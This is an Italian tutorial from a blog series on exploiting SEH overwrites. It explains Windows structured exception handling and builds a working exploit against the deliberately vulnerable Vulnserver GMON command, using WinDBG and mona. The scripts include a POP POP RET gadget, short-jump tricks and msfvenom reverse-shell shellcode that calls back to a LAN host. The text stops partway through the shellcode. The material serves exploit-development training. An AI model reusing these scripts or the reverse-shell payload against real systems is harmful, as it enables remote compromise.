Con questo articolo continuiamo la serie Stack Overflow passando ad un nuovo argomento, ossia il SEH Structured exception handling.
Un gestore di eccezioni è un costrutto di programmazione utilizzato per fornire un modo strutturato per gestire le condizioni di errore a livello di sistema e di applicazione. A livello di codice solitamente si trova sotto forma di un costrutto di questo tipo
try {
//fai qualcosa
}
catch {
//se va in errore fai altro
}
Ogni volta che viene incontrato un try block, un puntatore al corrispondente exception handler è salvato sullo stack nella struttura _EXCEPTION_REGISTRATION_RECORD. Poichè ci possono essere diversi try in una funzione, queste strutture sono connesse in una linked list, come la seguente
Quando avviene un eccezione il sistema operativo inspeziona la struttura TEB per ottenere un puntatore (chiamato ExceptionList) alla linked list tramite il registro CPU FS. In questo modo il programma saprà sempre quale è l’eccezione successiva, fino ad arrivare all’ultima che è quella di sistema (0xFFFFFFFF).
Se volessimo analizzare questa linked list con WinDBG, è sufficente analizzare la struttura TEB per capire l’indirizzo di ExceptionList e poi dumpare il record _EXCEPTION_REGISTRATION_RECORD a quell’indirizzo di memoria. Per esempio
0:004> !teb
TEB at 002be000
ExceptionList: 0100ff60
StackBase: 01010000
StackLimit: 0100c000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
.....
In questo caso l’indirizzo che vogliamo verificare è 0100ff60. Vediamo l’exception record e la chain completa con il seguente comando.
0:004> dt _EXCEPTION_REGISTRATION_RECORD 0100ff60
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x0100ffcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77eb84b0 _EXCEPTION_DISPOSITION ntdll!_except_handler4+0
L’handler corrente è 0x77eb84b0, mentre il successivo catch è sull’indirizzo 0x0100ffcc. Questo prosegue fino ad arrivare a 0xffffffff che è l’exception handler di sistema.
0:004> dt _EXCEPTION_REGISTRATION_RECORD 0x0100ffcc
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x0100ffe4 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77eb84b0 _EXCEPTION_DISPOSITION ntdll!_except_handler4+0
0:004> dt _EXCEPTION_REGISTRATION_RECORD 0x0100ffe4
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77ec5c42 _EXCEPTION_DISPOSITION ntdll!FinalExceptionHandlerPad2+0
Nei prossimi paragrafi vedremo un esempio pratico del funzionamento del SEH e di come exploitarlo.
Altri post in questa serie: 5. SEH Overflow I - Vulnserver GMON 5. SEH Overflow II - EFS Easy Chat Server 3.1 5. SEH Overflow III - Easy File Sharing Web Server 7.2 5. SEH Overflow IV - DocPrint Pro 8.0
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).
Vulnserver è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.
Sapendo che il server è vulnerabile a Stack Overflow, andiamo a creare un primo script che lo manderà in crash.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
VULNSRVR_CMD = b"GMON /.../" # change me
CRASH_LEN = 5011 # change me
payload = VULNSRVR_CMD
payload += b"A" * CRASH_LEN
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
In questo caso EIP non è stato sovrascritto ma sembra ci sia stato un problema durante l’esecuzione e sia stata sollevata un’eccezione. Se proseguiamo l’esecuzione (con g) vediamo che EIP viene però sovrascritto.
0:001> r
eax=7efefefe ebx=000000cc ecx=00b442dc edx=41414141 esi=00401848 edi=008e0000
eip=77ba6819 esp=008df1d0 ebp=008df9c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
msvcrt!strcat+0x89:
77ba6819 8917 mov dword ptr [edi],edx ds:0023:008e0000=????????
0:001> g
(125c.1af0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77ec5b10 esi=00000000 edi=00000000
eip=41414141 esp=008dec80 ebp=008deca0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
Per capire cosa è successo, riavvio e una volta lanciato l’exploit analizzo il SEH con WinDBG. Per prima cosa con il comando !teb prendo l’indirizzo dell’ExceptionList e successivamente dumpo il _EXCEPTION_REGISTRATION_RECORD a quell’indirizzo
0:004> !teb
TEB at 00395000
ExceptionList: 0103ffcc
StackBase: 01040000
StackLimit: 0103f000
....
0:004> dt _EXCEPTION_REGISTRATION_RECORD 0103ffcc
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x41414141 _EXCEPTION_DISPOSITION +41414141
Come possiamo vedere è stato sovrascritto il puntatore alla prossima linked list di eccezioni e abbiamo il controllo del flusso. C’è un comando più immediato su WinDBG che è !exchain. L’output ci mostra il SEH corrette e il NextSEH, in modo da capire quale sarà il prossimo indirizzo in cui si andrà.
0:004> !exchain
0103ffcc: 41414141
Invalid exception stack at 41414141
Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona
!py mona pc 5011
Riavvio VulnServer e aggiorno lo script inserendo il pattern
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
VULNSRVR_CMD = b"GMON /.../" # change me
CRASH_LEN = 5011 # change me
payload = VULNSRVR_CMD
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0..."
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Guardiamo la chain
0:001> !exchain
00a0ec94: ntdll!ExecuteHandler2+44 (77ec5b10)
00a0ffcc: 6f45336f
Invalid exception stack at 45326f45
E con monda cerchiamo l’offset preciso dei due indirizzi.
0:001> !py mona po 45326f45
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 45326f45
Looking for Eo2E in pattern of 500000 bytes
- Pattern Eo2E (0x45326f45) found in cyclic pattern at position 3546
0:001> !py mona po 6f45336f
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 6f45336f
Looking for o3Eo in pattern of 500000 bytes
- Pattern o3Eo (0x6f45336f) found in cyclic pattern at position 3550
Anche con il comando findmsp avremmo potuto ottenere lo stesso risultato
0:001> !py mona findmsp
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py findmsp
[+] Looking for cyclic pattern in memory
Cyclic pattern (normal) found at 0x001d34ca (length 4086 bytes)
Cyclic pattern (normal) found at 0x00a0f1f2 (length 3598 bytes)
- Stack pivot between 1394 & 4992 bytes needed to land in this pattern
[+] Examining registers
EIP contains normal pattern : 0x6f45336f (offset 3550)
ECX contains normal pattern : 0x6f45336f (offset 3550)
[+] Examining SEH chain
SEH record (nseh field) at 0x00a0ffcc overwritten with normal pattern : 0x45326f45 (offset 3546), followed by 44 bytes of cyclic data after the handler
[+] Examining stack (entire stack) - looking for cyclic pattern
Walking stack from 0x00a0d000 to 0x00a0fffc (0x00002ffc bytes)
Per confermare dumpiamo l’exchain manualmente.
0:001> !teb
TEB at 002c0000
ExceptionList: 00a0ec94
StackBase: 00a10000
StackLimit: 00a0d000
....
HardErrorMode: 0
0:001> dt _EXCEPTION_REGISTRATION_RECORD 00a0ec94
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x00a0ffcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77ec5b10 _EXCEPTION_DISPOSITION ntdll!ExecuteHandler2+0
0:001> dx -r1 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0xa0ffcc)
((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0xa0ffcc) : 0xa0ffcc [Type: _EXCEPTION_REGISTRATION_RECORD *]
[+0x000] Next : 0x45326f45 [Type: _EXCEPTION_REGISTRATION_RECORD *]
[+0x004] Handler : 0x6f45336f [Type: _EXCEPTION_DISPOSITION (*)(_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]
0:001> dx -r1 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x45326f45)
((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x45326f45) : 0x45326f45 [Type: _EXCEPTION_REGISTRATION_RECORD *]
[+0x000] Next : Unable to read memory at Address 0x45326f45
[+0x004] Handler : Unable to read memory at Address 0x45326f49
Ora non resta che verificare che l’offset sia corretto. Inserisco 4 C in SEH e 4 B in NSEH
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
VULNSRVR_CMD = b"GMON /.../" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += b"D" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono
!py mona ba -cpb '\x00'
NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff
Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
VULNSRVR_CMD = b"GMON /.../" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Per vedere quali caratteri sono rimasti, dobbiamo proseguire l’esecuzione per passare il flusso all’exception handler
Successivamente troviamo l’indirizzo di ExceptionList con !teb
0:003> !teb
TEB at 002e3000
ExceptionList: 00edec94
StackBase: 00ee0000
StackLimit: 00edd000
.....
E dumpiamo di dati del record puntuale
0:003> dt _EXCEPTION_REGISTRATION_RECORD 00edec94
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x00edffcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77ec5b10 _EXCEPTION_DISPOSITION ntdll!ExecuteHandler2+0
Ora abbiamo l’indirizzo preciso su dove si trova il nostro buffer. Lo dumpiamo e vediamo se c’è qualche bad char
0:003> db 0x00edffcc
00edffcc 42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08 BBBBCCCC........
00edffdc 09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18 ................
00edffec 19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28 ....... !"#$%&'(
00edfffc 29 2a 2b 2c ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? )*+,??
Quello che stiamo analizzando adesso è la funzione __C_specific_handler che è cosi composta:
_CRTIMP __C_specific_handler(
_In_ struct _EXCEPTION_RECORD *ExceptionRecord,
_In_ void *EstablisherFrame,
_Inout_ struct _CONTEXT *ContextRecord,
_Inout_ struct _DISPATCHER_CONTEXT *DispatcherContext
);
Infatti se analizziamo ESP e dumpiamo il 2° argomento presente sullo stack otterremo lo stesso risultato
0:003> dds esp L5
00edec80 77ec5af2 ntdll!ExecuteHandler2+0x26
00edec84 00eded80 #ExceptionRecord
00edec88 00edffcc #EstablisherFrame
00edec8c 00eded9c #ContextRecord
00edec90 00eded0c #DispatcherContext
0:003> db 00edffcc
00edffcc 42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08 BBBBCCCC........
00edffdc 09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18 ................
00edffec 19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28 ....... !"#$%&'(
00edfffc 29 2a 2b 2c ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? )*+,????????????
00ee000c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
Vediamo però che da \x2c non c’è più nulla. Cancello quindi \x2d e rilancio l’exploit
0:003> db 00dfffcc
00dfffcc 42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08 BBBBCCCC........
00dfffdc 09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18 ................
00dfffec 19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28 ....... !"#$%&'(
00dffffc 29 2a 2b 2c ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? )*+,????????????
Stesso risultato. Provo quindi a cancellare anche \x2c ma la situazione non cambia. Probabilmente significa che il nostro buffer termina li e quello è l’unico spazio che abbiamo per sovrascrivere la memoria. Divido comunque i bad char in slot da 20 ed eseguo fino a che non li faccio passare tutti, giusto per capire se ce n’è qualcuno ma pare di no.
Mentre negli scorsi esercizi avevamo il controllo del return address (e di conseguenza del registro EIP), in questo caso la situazione è ben diversa. Come abbiamo visto prima ciò che controlliamo è l’indirizzo dell’exception handler
0:003> !teb
TEB at 00288000
ExceptionList: 00efec94
StackBase: 00f00000
StackLimit: 00efd000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00288000
EnvironmentPointer: 00000000
ClientId: 00002704 . 00001de8
RpcHandle: 00000000
Tls Storage: 0080e3a8
PEB Address: 00284000
LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
0:003> dt _EXCEPTION_REGISTRATION_RECORD 00efec94
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x00efffcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77ec5b10 _EXCEPTION_DISPOSITION ntdll!ExecuteHandler2+0
0:003> dx -r1 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0xefffcc)
((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0xefffcc) : 0xefffcc [Type: _EXCEPTION_REGISTRATION_RECORD *]
[+0x000] Next : 0x42424242 [Type: _EXCEPTION_REGISTRATION_RECORD *]
Questo significa che per reindirizzare il flusso di esecuzione sul nostro buffer, potremmo sovrascrivere l’exception handler con l’indirizzo di un’istruzione che ritorna da EstablisherFrame, il quale poi andrà sullo stack e verrà eseguito. Una delle istruzioni più comuni che si può usare è POP REG; POP REG; RET poiché poppa il return address e l’argomento ExceptionRecord sullo stack ed infine esegue una RET sull’indirizzo di EstablisherFrame (teniamo bene a mente la funzione __C_specific_handler)
Prendendo esempio dalla bibbia del buffer overflow i passi del SEH exploitation sono quindi:
Lo shellcode completo avrà quindi (nella migliore delle ipotesi) questa forma
[Junk_AAAA][nSEH_Jump][SEH_POP_POP_RET][NopNopNop..][Shellcode_Exploit]
Ora dobbiamo quindi trovare questi POP POP RET. Ci viene incontro mona con il seguente comando:
0:003> !py mona seh -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh
---------- Mona command started on 2022-09-04 16:43:34 (v2.0, rev 616) ----------
….
[+] Results :
0x625010b4 | 0x625010b4 : pop ebx # pop ebp # ret | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x00402673 | 0x00402673 : pop ebx # pop ebp # ret | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [vulnserver.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\vulnserver.exe)
0x6250172b | 0x6250172b : pop edi # pop ebp # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x6250195e | 0x6250195e : pop edi # pop ebp # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
Prendiamo il primo visto che tutte le protezioni sono disattivate, aggiorno lo script, metto il breakpoint su 0x625010b4 ed eseguo (ricordiamo che dopo che va in crash è da eseguire di nuovo con g perché la prima eccezione la cattura winDBG)
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
VULNSRVR_CMD = b"GMON /.../" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"D" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Come possiamo vedere le prossime istruzioni sono proprio POP POP RET. Se proseguiamo l’esecuzione passo passo (con t) vediamo POP, RET ed infine le nostre B
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=625010b5 esp=00ebec84 ebp=00ebeca0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x10b5:
625010b5 5d pop ebp
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=625010b6 esp=00ebec88 ebp=00ebed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x10b6:
625010b6 c3 ret
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=00ebffcc esp=00ebec8c ebp=00ebed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00ebffcc 42 inc edx
0:003> db eip
00ebffcc 42 42 42 42 b4 10 50 62-44 44 44 44 44 44 44 44 BBBB..PbDDDDDDDD
00ebffdc 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00ebffec 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00ebfffc 44 44 44 44 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? DDDD????????????
00ec000c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00ec001c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00ec002c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00ec003c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
Ora quello che dobbiamo fare è mettere un jump di 8 al posto delle 4 B e due NOP per allineare gli indirizzi. In questo modo il flusso sarà:
Con nasm_shell ottengo l’opcode per lo short jump
kali@kali:~$ /usr/bin/msf-nasm_shell
nasm > jmp short 8
00000000 EB06 jmp short 0x8
Riprendendo lo schema di prima avremo
[Junk_AAAA][0x06eb9090][0x625010b4][NopNopNop..][Shellcode_Exploit]
Aggiorno, metto breakpoint al solito punto (0x625010b4) e lancio
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
VULNSRVR_CMD = b"GMON /.../" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"\x90" * 10 # NOP SLED
payload += b"D" * (CRASH_LEN - len(payload)) # shellcode
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Faccio un po' di step fino ad arrivare allo short jump 8
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=625010b5 esp=00e9ec84 ebp=00e9eca0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x10b5:
625010b5 5d pop ebp
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=625010b6 esp=00e9ec88 ebp=00e9ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x10b6:
625010b6 c3 ret
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=00e9ffcc esp=00e9ec8c ebp=00e9ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00e9ffcc 90 nop
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=00e9ffcd esp=00e9ec8c ebp=00e9ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00e9ffcd 90 nop
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=00e9ffce esp=00e9ec8c ebp=00e9ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00e9ffce eb06 jmp 00e9ffd6
0:003> u 00e9ffd6
00e9ffd6 90 nop
00e9ffd7 90 nop
00e9ffd8 90 nop
00e9ffd9 90 nop
00e9ffda 90 nop
00e9ffdb 90 nop
00e9ffdc 90 nop
00e9ffdd 90 nop
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=00e9ffd6 esp=00e9ec8c ebp=00e9ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00e9ffd6 90 nop
0:003> db eip
00e9ffd6 90 90 90 90 90 90 90 90-44 44 44 44 44 44 44 44 ........DDDDDDDD
00e9ffe6 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00e9fff6 44 44 44 44 44 44 44 44-44 44 ?? ?? ?? ?? ?? ?? DDDDDDDDDD??????
00ea0006 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00ea0016 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00ea0026 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00ea0036 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00ea0046 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
Ed ecco che il JMP ci porta allo NOP Sled, ottimo! Il problema è non c’è spazio per lo shellcode e dobbiamo trovare un’alternativa al classico metodo che abbiamo utilizzato per gli scorsi articoli. L’idea di base è quella di trovare un posto abbastanza grande nel quale inserire la nostra reverse shell. Visto che abbiamo un offset di 3546, perché non inserirlo li? Vediamo due metodi diversi basati sullo stesso approccio.
È un metodo un po' ignorante ma che funziona (almeno con le protezioni disattivate). L’idea è quella di fare un jump back in mezzo al nostro buffer, inserire qualche NOP sled per stare tranquilli e poi lo shellcode. Per riprendere lo schema di prima, il flusso del codice sarà:
Lo schema del buffer è il seguente
[Junk_AAAA][NopNopNop..][Rev_Shell][0x06eb9090][0x625010b4][NopNopNop..][Jump-400][Junk]
Per ottenere il JMP -400 usiamo nasm shell
kali@kali:~$ /usr/bin/msf-nasm_shell
nasm > jmp -400
00000000 E96BFEFFFF jmp 0xfffffe70
Creo poi la reverse shell con msfvenom e la inserisco nello script.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
VULNSRVR_CMD = b"GMON /.../" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00' EXITFUNC=thread
shellcode = b""
shellcode += b"\xba\xfc\xc7\xd1\xe3\xdb\xdc\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x52\x83\xed\xfc\x31\x55\x0e"
shellcode += b"\x03\xa9\xc9\x33\x16\xad\x3e\x31\xd9\x4d\xbf"
shellcode += b"\x56\x53\xa8\x8e\x56\x07\xb9\xa1\x66\x43\xef"
shellcode += b"\x4d\x0c\x01\x1b\xc5\x60\x8e\x2c\x6e\xce\xe8"
shellcode += b"\x03\x6f\x63\xc8\x02\xf3\x7e\x1d\xe4\xca\xb0"
shellcode += b"\x50\xe5\x0b\xac\x99\xb7\xc4\xba\x0c\x27\x60"
shellcode += b"\xf6\x8c\xcc\x3a\x16\x95\x31\x8a\x19\xb4\xe4"
shellcode += b"\x80\x43\x16\x07\x44\xf8\x1f\x1f\x89\xc5\xd6"
shellcode += b"\x94\x79\xb1\xe8\x7c\xb0\x3a\x46\x41\x7c\xc9"
shellcode += b"\x96\x86\xbb\x32\xed\xfe\xbf\xcf\xf6\xc5\xc2"
shellcode += b"\x0b\x72\xdd\x65\xdf\x24\x39\x97\x0c\xb2\xca"
shellcode += b"\x9b\xf9\xb0\x94\xbf\xfc\x15\xaf\xc4\x75\x98"
